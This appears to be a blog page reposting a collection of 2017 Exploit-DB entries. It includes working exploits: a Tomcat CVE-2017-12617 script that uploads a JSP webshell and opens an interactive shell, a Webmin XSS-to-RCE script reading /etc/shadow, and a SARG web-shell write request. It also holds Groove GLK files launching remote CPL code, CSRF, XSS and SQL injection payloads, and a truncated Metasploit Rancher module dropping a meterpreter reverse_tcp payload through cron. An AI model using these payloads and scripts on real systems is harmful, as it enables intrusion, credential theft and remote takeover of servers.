Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863580810

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1317#c3

The exploit achieves R/W access to the host's physical memory.

This exploit has been tested on the iPhone 7, iOS 10.2 (14C92). To run the exploit against different devices or versions, the symbols must be adjusted.

The attached archive contains the following directories:
  -hostapd-2.6 - A modified version of hostapd utilised in the exploit. This version of hostapd is configured to
                 support 802.11k RRM, and in particular Neighbor Reports. Moreover, this version of hostapd is
                 instrumented to add various commands, allowing injection and reception of crafted action frames
                 used throughout the exploit.
  -OneRing     - The exploit itself.

To run the exploit, you must execute the following steps:
  -Connect (and enable) a SoftMAC Wi-Fi dongle to your machine (such as the TL-WN722N)
  -Compile the provided version of hostapd
  -Modify the "interface" setting under "hostapd-2.6/hostapd/hostapd.conf" to match your interface's name
  -Configure the following settings under "OneRing/rrm_exploit/conf.py":
    -HOSTAPD_DIR - The directory of the hostapd binary compiled above
    -TARGET_MAC  - The MAC address of the device being exploited
    -AP_MAC      - The MAC address of your wireless dongle
    -INTERFACE   - The name of the wireless dongle's interface
  -Configure the following settings under "OneRing/conf.py":
    -TARGET_MAC  - The MAC address of the device being exploited
    -TARGET_IP   - The IP address of the device being exploited
  -Assemble the backdoor shellcode by running "OneRing/rrm_exploit/assemble_backdoor.sh"
  -Assemble each of the code chunks under "OneRing/code_chunks" by running "compile.sh"
  -Run hostapd with the configuration file provided above, broadcasting a Wi-Fi network ("test80211k")
  -Connect the target device to the network
  -Run "OneRing/attack.py"

Following the steps above should result in DART's descriptor being mapped into IO-Space, allowing R/W access to the host's physical memory. You can utilise this R/W access by calling the "read_host_dword" and "write_host_dword" functions, respectively.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42996.zip

            
Title: MS Office Excel (all versions) Arbitrary Code Execution Vulnerability

Date: September 30th, 2017.

Author: Eduardo Braun Prado

Vendor Homepage: http://www.microsoft.com/

Software Link: https://products.office.com/

Version: 2007,2010,2013,2016  32/64 bits (x86 and x64)

Tested on: Windows 10/8.1/8.0/7/Server 2012/Server 2008/Vista (X86 and x64)

CVE: 2017-0199


Description:

MS Excel contains a remote code execution vulnerability upon processing OLE objects. Although this is a different issue from the 
MS Word HTA execution vulnerability, it has been patched together, 'silently'. By performing some tests from the Word HTA PoC posted
on exploit-db[dot]com, it´s possible to exploit it through Excel too, however the target would need to either accept a security warning
regarding external links or double click inside the Excel window, same applies for Powerpoint, so I guess this is the reason, Word caught
the attention and no exploit PoC was made available to other Office apps.

This vulnerability exists in the way Excel handles parameters passed to the "DDEService" attribute of links, leading to the search for a 
program to display it. As it does not impose restrictions on what program is going to be executed, for instance, only programs located in the
Office install directory, it is possible to invoke arbitrary local programs with parameters, leading to system compromise.
Since Excel blocks automatic update of linked files, the target must be tricked into double clicking anywhere inside the document. 
(The linked object occupies basicly the whole document window). Without the patch applied no warning/prompt is shown;
With the patch a prompt is shown asking if it´s ok to run 'xxxx.exe', where 'xxxx.exe' can have arbitrary names as long as it´s at most 8 
chars long, so we could still fake/spoof it as another Office app (the app name cannot be the same of the legitimate, eg. 'Excel').


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42995.zip
            
Title: MS Office Groove 'Workspace Shortcut' Arbitrary Code Execution Vulnerability

Date: September 28th, 2017.

Author: Eduardo Braun Prado

Vendor Homepage: http://www.microsoft.com/

Software Link: https://products.office.com/

Version: 2007  32-bits (x86)

Tested on: Windows 7/Server 2008/Vista/Server 2003/XP (X86 and x64)

CVE: N/A


Description:

MS Office Groove contains a security bypass issue regarding 'Workspace Shortcut' files (.GLK)
because it allows arbitrary (registered) URL Protocols to be passed, when only 'grooveTelespace://' URLs
should be allowed, which allows execution of arbitrary code upon opening a 'GLK' file. 
Usually, URLs are passed to web browsers, but because it uses 'ShellExecute()', if malicious users pass
a 'file:///' URL, it will launch the default application for the file type specified in the URL. Important:
the 'GLK' extension is not in any of the Microsoft black list (eg. Outlook, IE) so we assume it´s a 'safe' file type. 2 proof of
concepts are provided, one for simply launching 'cmd.exe', and another, remote, that works on any Windows version:

-----poc_cmd_x64.GLK--------------------------------------------------------------------------------

<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
    <ns1:NavigationInfo URL="file:///C:\windows\syswow64\cmd.exe"/>
</ns1:ExplorerLink>

----------------------------------------------------------------------------------------------------

-----poc_cmd_x86.GLK--------------------------------------------------------------------------------

<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
    <ns1:NavigationInfo URL="file:///C:\windows\system32\cmd.exe"/>
</ns1:ExplorerLink>

----------------------------------------------------------------------------------------------------

-----poc_CPL.GLK------------------------------------------------------------------------------------

<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
    <ns1:NavigationInfo URL="file:///\\192.168.0.50\share\CPL_Shortcut.lnk"/>
</ns1:ExplorerLink>

----------------------------------------------------------------------------------------------------

* the 'CPL_Shortcut.lnk' is a special type of shortcut, which doesn´t trigger warnings upon opening,
that can be easily created by dragging a
Windows Control Panel item icon from the Control Panel folder to the Desktop. Notice the item must be
a CPL file, not a special folder (some control panel items are just special types of folder not the 
classic CPL file. 

The easiest way to do it is:

a) Grab a Windows XP machine (there are lots of Control Panel items that are CPL files)

b) Drag and drop an icon, eg. the 'User Accounts' icon to the Desktop.

c) Open the shortcut file created in the Desktop with an Hex Editor (you may need to rename the file,
removing the '.lnk' extension or some programs will load the target of the shortcut instead of the shortcut
file itself). Edit the portion (in 'Unicode' format) that points to :
c:\windows\system32\nusrmgr.cpl and write an UNC path pointing to a valid CPL file:
\\192.168.0.50\share\cpl_sh.cpl  (don´t forget the maximum path length (32 chars) must NOT be exceeded.)

d) Save the file and rename it to "CPL_Shortcut.lnk" and finally place it in the appropriate folder,
which will be accessed from remote, via: \\192.168.0.50\share

e) Using MS Visual Studio (tested with a C++ DLL compiled with VS 2008),
compile a DLL with code of choice and a 'DllMain' function and name it "cpl_sh.cpl".

f) Make sure the share and the 2 files (the .CPL and .LNK) are anonymously accessible from a remote 
machine.

That´s it, now just open the 'GLK' files. Both 'cmd.exe' and the CPL file should be executed/loaded.
Notice the files located in the remote share will take longer than 'CMD.exe' to be executed for obvious
reasons, just wait a few seconds.



            
# Exploit Title: RCE/Arbitrary file write in Squid Analysis Report Generator (SARG)
# Google Dork: inurl:sarg-php
# Date: 01 September 2017
# Exploit Author: Pavel Suprunyuk
# Vendor Homepage: https://sourceforge.net/projects/sarg/
# Software Link: https://sourceforge.net/projects/sarg/
# Version: Tested on 2.3.10, other versions are vulnerable too.
# Tested on: PHP, any OS
# CVE : None

===================================
sarg-php/sarg-squidguard-block2.php does not require any authentication and allows to write an arbitrary file:

sarg-php/sarg-squidguard-block2.php?file=<your_shell_name.php>&url=<your_php_shell_content>

Exploit example:

the following request

http://vulnerable_site/sarg-php/sarg-squidguard-block2?file=shell.php&url=%3C%3Fphp%20if%20(isset($_GET%5B'cmd'%5D))%20echo%20shell_exec($_GET%5B'cmd'%5D)%3B%20%3F%3E

will write the basic shell "<?php if (isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" into the "shell.php" file
            
Title:
======
3CX Phone System - Authenticated Directory Traversal

Author:
=======
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2017-15359

Risk Information:
=================
CVSS Base Score: 6.8
CVSS Vector: CVSS3#AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Timeline:
=========
2017-08-08 Vulnerability discovered
2017-08-10 Asked for security contact
2017-08-11 Send details to the vendor
2017-09-04 Vendor has confirmed the vulnerability, will be fixed in the next release
2017-10-16 Public disclosure

Affected Products:
==================
3CX Phone System 15.5.3554.1 (Debian based installation)

Vendor Homepage:
================
https://www.3cx.com/phone-system/download-links/

Details:
========
In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack:
"/api/RecordingList/DownloadRecord?file=" and "/api/SupportInfo?file=" are the vulnerable parameters. An attacker must be authenticated to exploit
this issue to access sensitive information to aid in subsequent attacks.

The vulnerabilities were found during a penetration test.

Proof of Concept:
=================

~$ curl -i -k --cookie ".AspNetCore.Cookies=CfDJ8PTIw(...)" https://192.168.0.1:5001/api/SupportInfo?file=/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Aug 2017 13:05:16 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-3CX-Version: 15.5.3554.1
Content-Disposition: attachment; filename="/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini"; filename*=UTF-8''%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.ini
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15768000

[General]
;connection point to call manager
;used by:
;a) call manager initializes own listener before it connects to configuration server.
;b) components which are working directly with call manager
;MUST NOT be used by components which make connection to configuration server.
;They MUST use CM_API_IP, CM_API_PORT, CM_API_USER and CM_API_PASSWORD paramaeters to make direct connection to CallManagerAPI
pbxSLNIC=127.0.0.1
cmPort=5482
pbxuser=instance_Instance158792
pbxpass=REMOVED
AppPath=/var/lib/3cxpbx/Instance1
AppDataPath=/var/lib/3cxpbx/Instance1
Tenant=Instance1

[ConfService]
;connection point to configuration server for components
confNIC=127.0.0.1
ConfPort=5485
confUser=cfguser_default
confPass=REMOVED

[CfgServerProfile]
;configuration server connection to database
;exclusively used by configuration server
DBHost=127.0.0.1
DBPort=5432
MasterDBUser=phonesystem
MasterDBPassword=REMOVED
MasterTable=phonesystem_mastertable
DefFile=Objects.cls

[QMDatabase]
DBHost=127.0.0.1
DBPort=5432
DBName=database_single
dbUser=logsreader_single
dbPassword=REMOVED

[MIME_TYPES]
MESSAGE=x-chat/control

Fix:
====
Vendor has confirmed the vulnerability, will be fixed in the next release.

            
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec            
 


Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850

Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS,
file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from
the console or remotely. See the standard modules page for a list of all the functions built into Webmin.”

The vulnerabilities found are:

XSS vulnerability that leads to Remote Code Execution
CSRF Schedule arbitrary commands
Server Side Request Forgery

Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities.

For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html


Vulnerability details
XSS vulnerability that leads to Remote Code Execution

Under Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘.

By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.

Webmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the
domain=webmin-victim-ip.

Proof of Concept


import socket

#===================================================
#Run this script and listen for file download from webmin
#Enter payload to execute RCE
#wait for webmin to connect and download file
#Vulnerability is in Menu/Others/File Manager
#issue is webmin echoes back status of the download
#by injecting XSS we bypass the Referer: check by assign
#domain to victims own IP, then execute our RCE
#-----------------------------------------------------------
#e.g.
#Download from remote URL
#http://x.x.x.x:10000/shell/index.cgi
#> whoami
#root

PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests
WEBMIN_IP=raw_input("[Webmin IP]> ") #victim

#Read /etc/shadow file
CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+
"<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+
"<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>")

s = socket.socket()
HOST = '' 
s.bind((HOST, PORT)) 
s.listen(5) 

print '\nwebmin file download 0day...'

while True:
 conn, addr = s.accept() 
 conn.send(CMD+'\r\n')
 print 'Connected!'
 print s.recv(1024)
 conn.close()
s.close()




CSRF Schedule arbitrary commands

User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls
an attacker to execute arbitrary commands.

Proof of Concept

http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0
Server Side Request Forgery

User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger
the vulnerability

Proof of Concept


http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000


Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:

https://blogs.securiteam.com/index.php/archives/3430




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
1. ADVISORY INFORMATION
=======================
Product:        AlienVault USM
Vendor URL:     https://www.alienvault.com
Type:           Cross-Site Request Forgery [CWE-253]
Date found:     2017-09-22
Date published: 2017-10-13
CVSSv3 Score:   6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)
CVE:            CVE-2017-14956


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
AlienVault USM 5.4.2 (current)
older versions may be affected too.


4. INTRODUCTION
===============
AlienVault Unified Security Management (USM) is a comprehensive approach to
security monitoring, delivered in a unified platform. The USM platform includes
five essential security capabilities that provide resource-constrained
organizations with all the security essentials needed for effective threat
detection, incident response, and compliance, in a single pane of glass.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
AlienVault USM v5.4.2 offers authenticated users the functionality to generate
and afterwards export generated compliance reports via the script located at
"/ossim/report/wizard_email.php". Besides offering an export via a local file
download, the script does also offer the possibility to send out any report via
email to a given address (either in PDF or XLSX format).

An exemplary request to send the pre-defined report
"PCI_DSS_3_2__Vulnerability_Details" to the email address "email () example com"
looks like the following:

https://example.com/ossim/report/wizard_email.php?extra_data=1&name=UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw==&format=email&pdf=true&email=email
 () example com

The base64-encoded HTTP GET "name" parameter can be replaced with any other
of the approx. 240 pre-defined reports, that are shipped with AlienVault USM
since they do all have hardcoded identifiers, such as:
- Alarm_Report
- Ticket_Report
- Business_and_Compliance
- HIPAA_List_of_identified_ePHI_assets
- PCI_DSS_3_2_Database_Users_Added
- VulnerabilitiesReport
etc.

Since there is no anti-CSRF token protecting this functionality, it is
vulnerable to Cross-Site Request Forgery attacks. An exemplary exploit to send
the "PCI_DSS_3_2__Vulnerability_Details" report as a PDF-file to
"email () example com" could look like the following:

<html>
  <body>
    <form action="https://example.com/ossim/report/wizard_email.php";>
      <input type="hidden" name="extra&#95;data" value="1" />
      <input type="hidden" name="name" value="UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw&#61;&#61;" />
      <input type="hidden" name="format" value="email" />
      <input type="hidden" name="pdf" value="true" />
      <input type="hidden" name="email" value="email&#64;example&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


6. RISK
=======
To successfully exploit this vulnerability a user with rights to access the
compliance reports must be tricked into visiting an arbitrary website while
having an authenticated session in the application.

The vulnerability allows remote attackers to trigger a report generation and
send the report out to an arbitrary email address, which may lead to the
disclosure of very sensitive internal reporting information stored in AlienVault
USM through pre-defined reports such as:
- Alarms
- Assets Inventory
- Compliance Reports such as PCI DSS and HIPAA
- Raw Logs
- Security Events
- Security Operations
- Tickets
- User Activity


7. SOLUTION
===========
None.


8. REPORT TIMELINE
==================
2017-09-22: Discovery of the vulnerability
2017-09-22: Sent full vulnerability details to publicly listed security email
            address
2016-10-01: MITRE assigns CVE-2017-14956
2017-10-03: No response from vendor, notified vendor again
2017-10-13: No response from vendor
2017-10-13: Public disclosure according to disclosure policy


9. REFERENCES
=============
https://www.rcesecurity.com/2017/10/cve-2017-14956-alienvault-usm-leaks-sensitive-compliance-information-via-csrf
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14956
            
# Exploit Title: Vulnerability XSS - Dreambox
# Shodan Dork: Dreambox 200 
# Date: 12/10/2017
# Exploit Author: Thiago "THX" Sena
# Vendor Homepage: https://www.dreamboxupdate.com
# Version: 2.0.0
# Tested on: kali linux, windows 7, 8.1, 10
# CVE : CVE-2017-15287

Vulnerabilty: Cross-site scripting (XSS) in plugin BouquetEditor

---------------------------------------------------------------

PoC: 

- First you go to ( http://IP:PORT/bouqueteditor/ )

- Then you go to the Bouquets tab, add a new bouquet

- Then put the script (<script>alert(1)</script>)

- Xss Vulnerability




            
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# CVE: CVE-2017-14619

1. Description

Cross-site scripting (XSS) vulnerability in phpMyFAQ through 2.9.8 allows
remote attackers to inject arbitrary web script or HTML via the "Title of
your FAQ" field in the Configuration Module.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14619
https://securityprince.blogspot.fr/2017/10/cve-2017-14619-phpmyfaq-298-cross-site_92.html

2. Proof of Concept

Steps to Reproduce:

   1. Open the affected link http://localhost/phpmyfaq/admin/?action=config
   with logged in user with administrator privileges
   2. Enter the <marquee onscroll=alert(document.cookie)> in the “Title of
   your FAQ field”
   3. Save the Configuration
   4. Login using any other user or simply click on the phpMyFAQ on the
   top-right hand side of the web portal


3. Solution:

The Vulnerability will be fixed in the next release of phpMyFAQ
            
# Exploit Title: Typo3 Restler Extension - Local File Disclosure
# Date: 2017-10-13
# Exploit Author: CrashBandicot @dosperl
# Vendor Homepage: https://www.aoe.com/
# Software Link: https://extensions.typo3.org/extension/restler/
# Tested on : MsWin
# Version: 1.7.0 (last)


# Vulnerability File : getsource.php

3.      $file = $_GET['file'];
13.        $text = file_get_contents($file);
16.      die($file . '<pre id="php">' . htmlspecialchars($text) . "</pre>");


# PoC : 
# http://vuln.site/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php

# https://i.imgur.com/zObmaDD.png


# Timeline :

# Vulnerability identified
# Vendor notified
# CVE number requested
# Exploit released
            
# Exploit Title: ClipShare v7.0 - SQL Injection
# Date: 2017-10-09
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.clip-share.com/
# Software Link: http://www.clip-share.com/
# Version: 7.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-09

Product & Service Introduction:
===============================
ClipShare is the first and most popular PHP video script for building highly-profitable video sharing websites.

Technical Details & Description:
================================

SQL injection on [category] URI parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/videos/[category]' AND 5593=5593 AND 'LJPS'='LJPS

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://localhost/[path]/videos/[category]' AND 5593=5593 AND 'LJPS'='LJPS

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: https://localhost/[path]/videos/[category]' AND SLEEP(5) AND 'xNCN'='xNCN

==================
8bitsec - [https://twitter.com/_8bitsec]
            
#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'


banner="""


   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    
                                                                           
                                                                           

[@intx0x80]

"""


def signal_handler(signal, frame):

    print ("\033[91m"+"\n[-] Exiting"+"\033[0m")

    exit()

signal.signal(signal.SIGINT, signal_handler)




def removetags(tags):
  remove = re.compile('<.*?>')
  txt = re.sub(remove, '\n', tags)
  return txt.replace("\n\n\n","\n")


def getContent(url,f):
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    re=requests.get(str(url)+"/"+str(f), headers=headers)
    return re.content

def createPayload(url,f):
    evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
    if req.status_code==201:
        print ("File Created ..")

   
def RCE(url,f):
    EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
    </FORM>
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
    InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>"""


    
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    
    req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
    


def shell(url,f):
    
    while True:
        headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
        cmd=input("$ ")
        payload={'cmd':cmd}
        if cmd=="q" or cmd=="Q":
                break
        
        re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
        re=str(re.content)
        t=removetags(re)
        print (t)





#print bcolors.HEADER+ banner+bcolors.ENDC

parse=OptionParser(


bcolors.HEADER+"""


   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    
                                                                           
                                                                           


./cve-2017-12617.py [options]

options:

-u ,--url [::] check target url if it's vulnerable 
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list

[+]usage:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt


[@intx0x80]

"""+bcolors.ENDC

    )


parse.add_option("-u","--url",dest="U",type="string",help="Website Url")          
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")

(opt,args)=parse.parse_args()

if opt.U==None and opt.P==None and opt.L==None:
    print(parse.usage)
    exit(0)



else:
    if opt.U!=None and opt.P==None and opt.L==None:
        print (bcolors.OKGREEN+banner+bcolors.ENDC)
        url=str(opt.U)
        checker="Poc.jsp"
        print (bcolors.BOLD +"Poc Filename  {}".format(checker))
        createPayload(str(url)+"/",checker)
        con=getContent(str(url)+"/",checker)
        if b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
            print (bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
            print (bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
    
        else:
            print ('Not Vulnerable to CVE-2017-12617 ')
    elif opt.P!=None and opt.U!=None and  opt.L==None:
        print (bcolors.OKGREEN+banner+bcolors.ENDC)
        pwn=str(opt.P)
        url=str(opt.U)
        print ("Uploading Webshell .....")
        pwn=pwn+".jsp"
        RCE(str(url)+"/",pwn)
        shell(str(url),pwn)
    elif opt.L!=None and opt.P==None and opt.U==None:
        print (bcolors.OKGREEN+banner+bcolors.ENDC)
        w=str(opt.L)
        f=open(w,"r")
        print ("Scaning hosts in {}".format(w))
        checker="Poc.jsp"
        for i in f.readlines():
            i=i.strip("\n")
            createPayload(str(i)+"/",checker)
            con=getContent(str(i)+"/",checker)
            if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
                print (str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'Rancher Server - Docker Exploit',
      'Description'      => %q(
        Utilizing Rancher Server, an attacker can create a docker container
        with the '/' path mounted with read/write permissions on the host
        server that is running the docker container. As the docker container
        executes command as uid 0 it is honored by the host operating system
        allowing the attacker to edit/create files owed by root. This exploit
        abuses this to creates a cron job in the '/etc/cron.d/' path of the
        host server.

        The Docker image should exist on the target system or be a valid image
        from hub.docker.com.

        Use `check` with verbose mode to get a list of exploitable Rancher
        Hosts managed by the target system.
      ),
      'Author'           => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
      'License'          => MSF_LICENSE,
      'References'       => [
        'URL'            => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
      ],
      'Platform'         => 'linux',
      'Arch'             => [ARCH_X64],
      'Payload'          => { 'Space' => 65000 },
      'Targets'          => [[ 'Linux', {} ]],
      'DefaultOptions'   => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
      'DefaultTarget'    => 0,
      'DisclosureDate'   => 'Jul 27, 2017'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
        OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
        OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
        OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
        OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
      ]
    )
    register_advanced_options(
      [
        OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
        OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
      ]
    )
  end

  def del_container(rancher_container_id, container_id)
    res = send_request_cgi(
      'method'  => 'DELETE',
      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    return vprint_good('The docker container has been removed.') if res && res.code == 200

    print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
  end

  def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

    rand_text_alpha_lower(8)
  end

  def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path

    command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
    command << "echo \"\" >> #{echo_cron_path} \&\& "
